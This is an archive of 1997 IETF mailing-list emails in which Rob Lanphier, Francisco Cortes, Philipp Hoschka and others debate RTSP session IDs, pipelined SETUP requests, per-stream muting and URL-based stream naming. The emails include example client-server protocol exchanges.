>          Transport: rtp/udp;port=3056,
>                     rtp/tcp
>          
>    S->C: RTSP/1.0 200 2 OK
>          Session: 1234
           ^^^^^^^^^^^^^

	I suposse that THIS ONE is the first time the server sends
a Session Id to the client.

>          StreamID: aud
>          Transport: rtp/udp;port=3056
> [...]

	How can I have control over the individual streams that
are part of the Session 1234?

	Wouldn't be better to use a "whole session" setup like
the pipeline-able zero-th SETUP message described bellow to get
the Session Id that you'll send with the following SETUP
messages for the 'n' streams of the 1-1-n session; but to
get new and different Session Id at the S->C response to any
of those SETUPs?

	Something like:

> Roundtrip #
> |
> v
> 0.5 C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
>           Accept: application/sdp
>  
> 0.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2
> 
> 1   S->C: RTSP/1.0 200 1 OK
            [ deleted ]
>           Content-Type: application/sdp
> 
>           v=0
>           o=- 2890844526 2890842807 IN IP4 192.16.24.202
>           s=RTSP Session
>           m=audio 0 RTP/AVP 0
>           a=streamid:aud
>           m=video 0 RTP/AVP 31
>           a=streamid:vid
> 
> 1   S->C: RTSP/1.0 200 2 OK
>           Session: 1234
            ^^^^^^^^^^^^^

	This would be the global session Id. used to control the
bunch of streams as a whole, and sent as a field of the following
SETUP messages.

> 1.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 3
>           Session: 1234
>           StreamID: aud
>           Transport: rtp/udp;port=3056,
>                      rtp/tcp
>          
> 1.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 4
>           Session: 1234
>           StreamID: vid
>           Transport: rtp/udp;port=3058,
>                      rtp/tcp
> 
> 2   S->C: RTSP/1.0 200 3 OK
	    Session: 2001
>           StreamID: aud
>           Transport: rtp/udp;port=3056
> 
> 2   S->C: RTSP/1.0 200 4 OK
	    Session: 2002
>           StreamID: vid
>           Transport: rtp/udp;port=3058
>          
> 2.5 C->S: PLAY rtsp://example.com/twister.mov RTSP/1.0 5
>           Session: 1234
> 
> 3   S->C: RTSP/1.0 200 5 OK
>           SequenceNo: streamid=vid;seq=1234,streamid=aud;seq=5678

	....
allows a potential:

      C->S: PAUSE rtsp://example.com/twister.mov RTSP/1.0 23
            Session: 2001
            StreamID: aud

      S->C: RTSP/1.0 200 23 OK
            SequenceNo: streamid=aud;seq=xxxx

to mute the audio.

          

	Do you think it would work? Is there any implied problem
I didn't see? Is there any proposal for a better solution?


-- 
Francisco Cortes (Paco)			Hoehenstr. 17a
					33098 Paderborn
cortes@uni-paderborn.de			Tln. +49 5251 670933
===
PGP fingerprint  69 B9 77 98 D7 6A 8F CF  32 78 43 85 4E 7C E0 96

From majordom@ISI.EDU  Thu Jul  3 13:32:25 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16159>; Thu, 3 Jul 1997 02:33:10 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16153>; Thu, 3 Jul 1997 02:33:06 -0700
Received: from pbinfo by venera.isi.edu (5.65c/5.61+local-29)
	id <AA11485>; Thu, 3 Jul 1997 02:33:05 -0700
Received: from IDENT-NONSENSE@freeway (port 33428 [131.234.72.33]) by pbinfo.uni-paderborn.de with ESMTP id <52576-23249>; Thu, 3 Jul 1997 11:32:30 +0200
Received: (from cortes@localhost) by freeway.uni-paderborn.de (8.7.5/8.7.3) id LAA04538; Thu, 3 Jul 1997 11:32:26 +0200 (MET DST)
From: <cortes@uni-paderborn.de>
Message-Id: <199707030932.LAA04538@freeway.uni-paderborn.de>
Subject: Re: Solving 1-1-n
To: confctrl@isi.edu, robla@prognet.com
Date: Thu, 3 Jul 1997 11:32:25 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL25 PGP2]
Content-Type: text
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


 
	A couple of comments about the proposal.
I hope they make sense for you. (Sorry if I misunderstand something
and they don't)


> Here's how we would like to solve the 1-1-n streaming issue.  This proposal
> involves the following changes to RTSP:
>    "Session" field.
> [...] 
> Given a single URL pointing to a container with n streams, there would be 1
> DESCRIBE (potentially) followed by n SETUP messages and 1 PLAY message.
> 
> Here's what a 1-1-n exchange looks like:
> 
>    C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
>          Accept: application/sdp
> 
>    S->C: RTSP/1.0 200 1 OK
>          Session: 1234
           ^^^^^^^^^^^^^

	Is that a typo, or the Session Id. can be sent as early as
to the answer to a DESCRIBE?

>          Content-Type: application/sdp
> 
>          v=0
> [...]
  
>    C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2
>          StreamID: aud
>          Transport: rtp/udp;port=3056,
>                     rtp/tcp
>          
>    S->C: RTSP/1.0 200 2 OK
>          Session: 1234
           ^^^^^^^^^^^^^

	I suposse that THIS ONE is the first time the server sends
a Session Id to the client.

>          StreamID: aud
>          Transport: rtp/udp;port=3056
> [...]

	How can I have control over the individual streams that
are part of the Session 1234?

	Wouldn't be better to use a "whole session" setup like
the pipeline-able zero-th SETUP message described bellow to get
the Session Id that you'll send with the following SETUP
messages for the 'n' streams of the 1-1-n session; but to
get new and different Session Id at the S->C response to any
of those SETUPs?

	Something like:

> Roundtrip #
> |
> v
> 0.5 C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
>           Accept: application/sdp
>  
> 0.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2
> 
> 1   S->C: RTSP/1.0 200 1 OK
            [ deleted ]
>           Content-Type: application/sdp
> 
>           v=0
>           o=- 2890844526 2890842807 IN IP4 192.16.24.202
>           s=RTSP Session
>           m=audio 0 RTP/AVP 0
>           a=streamid:aud
>           m=video 0 RTP/AVP 31
>           a=streamid:vid
> 
> 1   S->C: RTSP/1.0 200 2 OK
>           Session: 1234
            ^^^^^^^^^^^^^

	This would be the global session Id. used to control the
bunch of streams as a whole, and sent as a field of the following
SETUP messages.

> 1.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 3
>           Session: 1234
>           StreamID: aud
>           Transport: rtp/udp;port=3056,
>                      rtp/tcp
>          
> 1.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 4
>           Session: 1234
>           StreamID: vid
>           Transport: rtp/udp;port=3058,
>                      rtp/tcp
> 
> 2   S->C: RTSP/1.0 200 3 OK
	    Session: 2001
>           StreamID: aud
>           Transport: rtp/udp;port=3056
> 
> 2   S->C: RTSP/1.0 200 4 OK
	    Session: 2002
>           StreamID: vid
>           Transport: rtp/udp;port=3058
>          
> 2.5 C->S: PLAY rtsp://example.com/twister.mov RTSP/1.0 5
>           Session: 1234
> 
> 3   S->C: RTSP/1.0 200 5 OK
>           SequenceNo: streamid=vid;seq=1234,streamid=aud;seq=5678

	....
allows a potential:

      C->S: PAUSE rtsp://example.com/twister.mov RTSP/1.0 23
            Session: 2001
            StreamID: aud

      S->C: RTSP/1.0 200 23 OK
            SequenceNo: streamid=aud;seq=xxxx

to mute the audio.

          

	Do you think it would work? Is there any implied problem
I didn't see? Is there any proposal for a better solution?


	P.S.: If you get 2 copies of this mail, it's my fault.
My mailing program did strange things with a first one and I'm
now resending it.

-- 
Francisco Cortes (Paco)			Hoehenstr. 17a
					33098 Paderborn
cortes@uni-paderborn.de			Tln. +49 5251 670933
===
PGP fingerprint  69 B9 77 98 D7 6A 8F CF  32 78 43 85 4E 7C E0 96

From majordom@ISI.EDU  Wed Jul  2 23:40:16 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19144>; Thu, 3 Jul 1997 04:10:54 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19138>; Thu, 3 Jul 1997 04:10:51 -0700
Received: from novell.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA19037>; Thu, 3 Jul 1997 04:10:48 -0700
Received: from INET-PRV-Message_Server by novell.com
	with Novell_GroupWise; Thu, 03 Jul 1997 05:10:45 -0600
Message-Id: <s3bb3455.078@novell.com>
X-Mailer: Novell GroupWise 4.1
Date: Thu, 03 Jul 1997 05:40:16 -0600
From: Rakesh Manocha <MRAKESH@novell.com>
To: confctrl@isi.edu
Subject: Re: Solving 1-1-n
Mime-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Some other approaches could be :

[1] Using the "Session" id returned in the response to the DESCRIBE message.
So, in the first example when the 1st SETUP message goes to the server it
would look like

 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2
         Session: 1234
         StreamID: aud
         Transport: rtp/udp;port=3056,
                    rtp/tcp

[2] To create a pipeline-able zero-th SETUP message, which exclusively
serves as a means of getting a Session id one could use a "unique" Session
ID (e.g. -1 or 0 ) which is identified by the server as a  "Session id"
request.



Rakesh Manocha
mrakesh@novell.com
Novell India Development Center
Phone : +91-80-5537856 Extn 2008
Fax : +91-80-5537892

>>> Rob Lanphier <robla@prognet.com> 03-Jul-97 2:38:03 AM >>>
Here's how we would like to solve the 1-1-n streaming issue.  This proposal
involves the following changes to RTSP:

*  Sending "Session" fields from client to server in SETUP messages
*  Association of multiple SETUP requests to a single PLAY request via
   "Session" field.

Given a single URL pointing to a container with n streams, there would be 1
DESCRIBE (potentially) followed by n SETUP messages and 1 PLAY message.

Here's what a 1-1-n exchange looks like:

   C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
         Accept: application/sdp

   S->C: RTSP/1.0 200 1 OK
         Session: 1234
         Content-Type: application/sdp

         v=0
         o=- 2890844526 2890842807 IN IP4 192.16.24.202
         s=RTSP Session
         m=audio 0 RTP/AVP 0
         a=streamid:aud
         m=video 0 RTP/AVP 31
         a=streamid:vid
 
   C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2
         StreamID: aud
         Transport: rtp/udp;port=3056,
                    rtp/tcp
         
   S->C: RTSP/1.0 200 2 OK
         Session: 1234
         StreamID: aud
         Transport: rtp/udp;port=3056

   C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 3
         Session: 1234
         StreamID: vid
         Transport: rtp/udp;port=3058,
                    rtp/tcp

   S->C: RTSP/1.0 200 3 OK
         StreamID: vid
         Transport: rtp/udp;port=3058
         
   C->S: PLAY rtsp://example.com/twister.mov RTSP/1.0 4
         Session: 1234

   S->C: RTSP/1.0 200 4 OK
         SequenceNo: streamid=vid;seq=1234,streamid=aud;seq=5678
         
  (note: "SequenceNo" is a new field which I will explain in a separate
         email.  The quick explanation is that it provides the initial RTP
         sequence number for each stream)

Now, for those of you counting roundtrips, you may notice that the
dependencies here necessitate 4 roundtrips (assuming the only piece of info
one starts with is an URL), since the DESCRIBE is necessary to get the
stream ids, the first SETUP is necessary to get the "Session:" id that is
sent with the next SETUP.  The SETUP and PLAY *may* be pipelined, but
that's pretty unwise, since if there are multiple transports, it may be
hard knowing which transport will be selected.

The "unnecessary" roundtrip comes from not being able to pipeline the first
SETUP with the 2nd through n SETUP messages.  A solution to this problem is
to create a pipeline-able zero-th SETUP message, which exclusively serves
as a means of getting a Session id, as follows:

Roundtrip #
|
v
0.5 C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
          Accept: application/sdp
 
0.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2

1   S->C: RTSP/1.0 200 1 OK
          Session: 1234
          Content-Type: application/sdp

          v=0
          o=- 2890844526 2890842807 IN IP4 192.16.24.202
          s=RTSP Session
          m=audio 0 RTP/AVP 0
          a=streamid:aud
          m=video 0 RTP/AVP 31
          a=streamid:vid

1   S->C: RTSP/1.0 200 2 OK
          Session: 1234

1.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 3
          Session: 1234
          StreamID: aud
          Transport: rtp/udp;port=3056,
                     rtp/tcp
         
1.5 C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 4
          Session: 1234
          StreamID: vid
          Transport: rtp/udp;port=3058,
                     rtp/tcp

2   S->C: RTSP/1.0 200 3 OK
          StreamID: aud
          Transport: rtp/udp;port=3056

2   S->C: RTSP/1.0 200 4 OK
          StreamID: vid
          Transport: rtp/udp;port=3058
         
2.5 C->S: PLAY rtsp://example.com/twister.mov RTSP/1.0 5
          Session: 1234

3   S->C: RTSP/1.0 200 5 OK
          SequenceNo: streamid=vid;seq=1234,streamid=aud;seq=5678
         
Both techniques would be acceptable, with the latter provided as a better
roundtrip performer.  The pipelineable "Transport"-less SETUP message could
even be sent prior to the DESCRIBE to ensure the integrity of the DESCRIBE.
(Clients want to be sure the file that was DESCRIBEd is the same file they
issue a SETUP on, and since DESCRIBE is stateless, there is normally no way
to be sure.  Sending a SETUP prior to the DESCRIBE implies the server will
keep track of the media file for the duration of the Session).





---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com 
Progressive Networks-Home of RealAudio            Web: http://www.real.com 
For more information on firewalls:       http://www.real.com/firewall.html 
For more information on RTSP:               http://www.real.com/prognet/rt
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            
    

From majordom@ISI.EDU  Thu Jul  3 01:55:51 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26867>; Thu, 3 Jul 1997 08:57:51 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26854>; Thu, 3 Jul 1997 08:57:48 -0700
Received: from mail-out2.apple.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA16392>; Thu, 3 Jul 1997 08:57:43 -0700
Received: from scv2.apple.com (A17-128-100-140.apple.com [17.128.100.140])
	by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id IAA18500
	for <confctrl@ISI.EDU>; Thu, 3 Jul 1997 08:55:34 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by scv2.apple.com (8.8.5/8.8.5) with ESMTP id IAA08126
	for <confctrl@ISI.EDU>; Thu, 3 Jul 1997 08:55:51 -0700
Date: Thu, 3 Jul 1997 08:55:51 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020926afe11762d90e@[17.255.20.120]>
In-Reply-To: 
 <503A2A3C2932CF118D8800805FD44E1803D6D677@RED-68-MSG.dns.microsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@ISI.EDU
From: Alagu Periyannan <alagu@apple.com>
Subject: RE: RTP inter-media synchronization in "non-MPEG-style" 1-1-1
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 4:17 PM -0700 7/2/97, Eric Fleischman wrote:
>This can be done via many approaches. A more obvious one would be in
>reference to a streaming file format. In this approach an RTP dynamic
>payload type value is associated with a particular set of configuration
>information (e.g., the file's header value, SDP contents, etc.) via a
>mechanism outside of the scope of RTP (e.g., RTSP's DESCRIBE method).
>The streaming file format will have its own synchronization method
>(e.g., each media stream may have its own timestamp) which will be used
>for inter-media synchronization. Thus, the RTP timestamp has no
>inter-media synchronization utility in the "normal" 1-1-1 case. Please
>note that the 1-1-1 solely means that these media streams are carried as
>a "unit" (a "presentation" in RTSP terminology) as far as RTP is
>concerned. It does not identify the actual data packetizing approach
>(e.g., interleaved or unique payloads/packet) implemented by the
>presentation.
>

You are describing an MPEG-style solution where the
RTP timestamp is not used, but some other timestamp
inside the RTP payload is used.

However, if you want to use the RTP timestamp
and multiplex multiple media types on a single
RTP session, the choices are to either invent a
new inter-media synchronization scheme or use the
same timescale for all the media types.




---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Thu Jul  3 16:25:45 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA28200>; Thu, 3 Jul 1997 23:27:30 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA28193>; Thu, 3 Jul 1997 23:27:26 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA11601>; Thu, 3 Jul 1997 23:27:25 -0700
Received: from robla.dev.prognet.com (PPPbug-1.prognet.com) by murrow.prognet.com with SMTP id AA29963
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 3 Jul 1997 23:30:43 -0700
Message-Id: <3.0.32.19970703232542.00da7dd0@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 03 Jul 1997 23:25:45 -0700
To: <cortes@uni-paderborn.de>, confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Solving 1-1-n
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 10:47 AM 7/3/97 +0200, cortes@uni-paderborn.de wrote:
>robla wrote:
>> Here's what a 1-1-n exchange looks like:
>>    C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
>>          Accept: application/sdp
>> 
>>    S->C: RTSP/1.0 200 1 OK
>>          Session: 1234
>           ^^^^^^^^^^^^^
>
>	Is that a typo, or the Session Id. can be sent as early as
>to the answer to a DESCRIBE?

Definitely a typo.  I had originally had the notion that Session: ids might
indeed be returned by DESCRIBE, but there was some resistance to tying any
sort of state to the DESCRIBE message, since the SETUP message has a
countervailing TEARDOWN message which serves to dispose of the session, and
DESCRIBE has nothing of the sort.

Sorry for the confusion.  You are correct; the first SETUP response is
where the first Session field is located.

>>          StreamID: aud
>>          Transport: rtp/udp;port=3056
>> [...]
>
>	How can I have control over the individual streams that
>are part of the Session 1234?
>
>	Wouldn't be better to use a "whole session" setup like
>the pipeline-able zero-th SETUP message described bellow to get
>the Session Id that you'll send with the following SETUP
>messages for the 'n' streams of the 1-1-n session; but to
>get new and different Session Id at the S->C response to any
>of those SETUPs?

Wouldn't the combination of "whole session" Session id and stream id be
sufficient for any muting functionality?  

I would think that modifying your example below would suffice for this
functionality:

>      C->S: PAUSE rtsp://example.com/twister.mov RTSP/1.0 23
             Session: 1234
>            StreamID: aud
>
>      S->C: RTSP/1.0 200 23 OK
>            SequenceNo: streamid=aud;seq=xxxx
             (hmm, is SequenceNo useful for PAUSE?  It might be, but not
immediately obvious to me.  Different discussion, I suppose)

Is this how muting should be implemented?  

>	Do you think it would work? Is there any implied problem
>I didn't see? Is there any proposal for a better solution?

Besides the ideas Rakesh brings up, another alternative is one monolithic
SETUP Transport field that tries to do all of the negotiation in one swell
foop.  However, distributing the complexity of the transport negotiation to
several simpler SETUP requests seems to be the way to go to me.

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Thu Jul  3 16:45:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA28730>; Fri, 4 Jul 1997 00:00:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA28723>; Fri, 4 Jul 1997 00:00:27 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA23454>; Fri, 4 Jul 1997 00:00:26 -0700
Received: from robla.dev.prognet.com (PPPbug-1.prognet.com) by murrow.prognet.com with SMTP id AA30410
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 3 Jul 1997 23:50:40 -0700
Message-Id: <3.0.32.19970703234540.00d954c0@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 03 Jul 1997 23:45:42 -0700
To: Rakesh Manocha <MRAKESH@novell.com>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Solving 1-1-n
Cc: confctrl@isi.edu
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 05:35 AM 7/3/97 -0600, Rakesh Manocha wrote:
>Some other approaches could be :
>
>[1] Using the "Session" id returned in the response to the DESCRIBE message.
>So, in the first example when the 1st SETUP message goes to the server it
>would look like
>
> C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2
>         Session: 1234
>         StreamID: aud
>         Transport: rtp/udp;port=3056,
>                    rtp/tcp

Actually, the Session: response in DESCRIBE was a typo (sorry).  However,
having DESCRIBE return a Session id did come to mind.  At this point, when
should the presumed state associated with a Session id expire?

>[2] To create a pipeline-able zero-th SETUP message, which exclusively
>serves as a means of getting a Session id one could use a "unique" Session
>ID (e.g. -1 or 0 ) which is identified by the server as a  "Session id"
>request.

I'm trying to figure out how this solves the problem.  The point of the
Session id here would be to ensure that all SETUPs are issued under the
same Session id, which, short of giving all of them -1 ids, won't solve the
problem of reducing the number of roundtrips.  Perhaps an example would
make it clearer.

Thanks
Rob
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Fri Jul  4 19:05:28 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04889>; Fri, 4 Jul 1997 08:05:39 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04883>; Fri, 4 Jul 1997 08:05:38 -0700
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-29)
	id <AA18006>; Fri, 4 Jul 1997 08:05:37 -0700
Received: by www45.inria.fr (8.8.5/8.8.5) id RAA14806; Fri, 4 Jul 1997 17:05:28 +0200 (MET DST)
Message-Id: <199707041505.RAA14806@www45.inria.fr>
To: confctrl@isi.edu, Brad Hefta-Gaub <brad@prognet.com>
Subject: Re: Relationship between RTSP URL and transport 
In-Reply-To: Your message of "Tue, 24 Jun 1997 03:15:39 PDT."
             <01BC804C.F3516980@dialnet8-21.cortland.com> 
Date: Fri, 04 Jul 1997 17:05:28 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>	This feature should be primarily implemented on the client side as 
>	part of the audio device integration. In general an end user will 
>	be confused and disappointed if they don't get instantaneous response
>	from the mute/un-mute feature. Our usability tests have shown that
>	the latency introduced by actually turning on and off the stream
>	produces more confusion than any additional value added by actually
>	"stopping" a single stream of a multi-stream presentation.

No !!
one of the reasons to switch of one of the media types is that you
don't have enough bandwidth to support all of them - this is like
web browsing with images switched off.

While this is crude, it's quite useful - Europeans often do this when
browsing the web, and I remember vividly following a recorded MBone seminar
where I had to switch of the video to be able to follow it.

Please consider this as another factor of "usability" - otherwise, why
would you switch off anything in the first place ?

Having one RTSP session controling one RTP stream allows to do this.

(maybe you should do usability tests in Europe as well, with a server
in the US :-))

From majordom@ISI.EDU  Fri Jul  4 19:25:46 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05124>; Fri, 4 Jul 1997 08:26:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05118>; Fri, 4 Jul 1997 08:26:00 -0700
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-29)
	id <AA23535>; Fri, 4 Jul 1997 08:25:53 -0700
Received: by www45.inria.fr (8.8.5/8.8.5) id RAA14963; Fri, 4 Jul 1997 17:25:47 +0200 (MET DST)
Message-Id: <199707041525.RAA14963@www45.inria.fr>
To: confctrl@isi.edu
Subject: Discriminiating streams in 1-n-n (was: Re: RTSP and SDP with container files)
In-Reply-To: Your message of "Fri, 20 Jun 1997 19:03:59 PDT."
             <Pine.WNT.3.95.970620190335.-295057M-100000@oak.precept.com> 
Date: Fri, 04 Jul 1997 17:25:46 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>> *  Embedding the stream id in the URL
....
>It is not required that there be only one way to form the URL.  If the
>SDP file contained RTSP URLs in place of the stream-id attributes you
>added, then the binding to RTSP sessions still works.  

I'm strongly in favour of this for the 1-n-n case, i.e. one presentation 
sent over n streams and being controled by n RTSP sessions. 

This could be done by using

 a=src:rtsp://www.w3.org/audio.pcm

Example

  C->S: DESCRIBE rtsp://example.com/twister.mov RTSP/1.0 1
        Accept: application/sdp

  S->C: RTSP/1.0 200 1 OK
        Content-Type: application/sdp

        v=0
        o=- 2890844526 2890842807 IN IP4 192.16.24.202
        s=RTSP Session
        m=audio 0 RTP/AVP 0
        a=src:rtsp://www.w3.org/audio.pcm
        m=video 0 RTP/AVP 31
        a=src:rtsp://www.w3.org/video.h261

  C->S: PLAY rtsp://www.w3.org/audio.pcm ...
  C->S: PLAY rtsp://www.w3.org/audio.h261

This is much better than using streamid attributes, because
- it is analogous to the way other session description files work, e.g. RTSL
- you don't have to introduce a new header-field into RTSP to solve a problem
  specific to sdp - you don't need the sessionid have when you use RTSL, since
  it already contains the URLs

From majordom@ISI.EDU  Fri Jul  4 21:26:11 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06844>; Fri, 4 Jul 1997 10:26:36 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06838>; Fri, 4 Jul 1997 10:26:34 -0700
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-29)
	id <AA03552>; Fri, 4 Jul 1997 10:26:22 -0700
Received: by www45.inria.fr (8.8.5/8.8.5) id TAA15613; Fri, 4 Jul 1997 19:26:12 +0200 (MET DST)
Message-Id: <199707041726.TAA15613@www45.inria.fr>
To: confctrl@isi.edu, brad@prognet.com, Rob Lanphier <robla@prognet.com>
Subject: Re: Solving 1-1-n 
In-Reply-To: Your message of "Wed, 02 Jul 1997 14:38:03 PDT."
             <3.0.32.19970702143800.01725668@mail.prognet.com> 
Date: Fri, 04 Jul 1997 19:26:11 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Given a single URL pointing to a container with n streams, there would be 1
>DESCRIBE (potentially) followed by n SETUP messages and 1 PLAY message.

All this 1-1-1 .. 1-n-n discussion is about a presentation that is stored in 
a single file, right ? E.g. a flattened Quicktime file, say twister.mov.

In this case
1) 1-1-1 seems to be the "natural" choice
2) 1-n-n is the same as if the media was stored in several files,
  at least from the point of view of RTSP/RTP - conceptually, the 
  server splits up the container file into several seperate files
  before data is sent out
3) 1-1-n is also the same as if the media was stored in several files -
  since there are n streams

Now, the problem with 2) and 3) is that there's only one filename - twister.mov,
and you need to generate several identifiers for it, one for each of 
the "files" contained in twister.mov.

There are two ways to do this
1) create a namespace within the container file that can be 
   addressed via URLs
2) create an additional attribute that must be contained in every
   session description format, and mapped onto an RTSP header field

You chose option 2) by introducing the sessionid.

I'd like to convince you that putting it into the URL is feasible,
and does not have the problems you describe.

I suggest to use the "?" notation, since the files are extracted
at the server. That means, if you want to control the audio track
of "twister.mov" stored in track 1 of the Quicktime file, you write:

rtsp://www.w3.org/twister.mov?1

From Brad's message, it seems that you fear that there may be a conflict
with some future use of a the question mark, e.g. like this:

rtsp://server/db/query?artist="Nirvana"&album="Nevermind"&track="Polly"

(btw, I just showed this to one of my colleages, and he said you should use ";" 
rather than "&" (which is "old stuff" as he said) - the "&" created problems
with some browsers, because it's also used for defining SGML entities)

Now, my first question is: why is this a query ? Why do you need to use
a questionmark ?

There's a single album by Nirvana called "Nevermind" (what happens if 
you put in "Greatest hits", and there are several, btw ?), so you
might as well write

rtsp://server/db/query/Nirvana/Nevermind/Polly

And now you can easily write

rtsp://server/db/query/Nirvana/Nevermind/Polly?1

meaning the first track in the Quicktime file, which corresponds to an audio track.

Also, you can have more than one questionmark in a URL, e.g. you could write

rtsp://server/db/query?artist="Nirvana"&album="Nevermind&;track="Polly"?1

In both cases (sing URL or using sessionid), it would be good to have to 
have a standard way to describe how to map components in a composite file 
into identifiers such as "1". 

In your scheme the server generates the mapping "on the fly",
But what if people want to write sdp files by hand,
i.e. they're not automatically generated ? To write such an sdp file, the 
author would have to know how the particular server used generateS sessionids -
not very nice.

So I guess you need a standard way to generate ids for components of media
files even if you use sessionids. 

If you use URLs instead of session ids, the same standard would help you to use 
only the audio source of a quicktime file in a presentation, which is a nice extra 
functionality.

This standard mapping would have to be done for each composite file format, 
e.g. ASF, Quicktime etc.

It's a common thing to do, similar to defining what "#" means for html 
or for CGI (a vector graphics format, see http://www.w3.org/TR/NOTE-cgm#Refer)

To sum up, problems with sessionid that are resolved when using URLs are:

- The "sessionid" complicates things, because it requires that each format
  ever returned by the "describe" method has this attribute in one form or
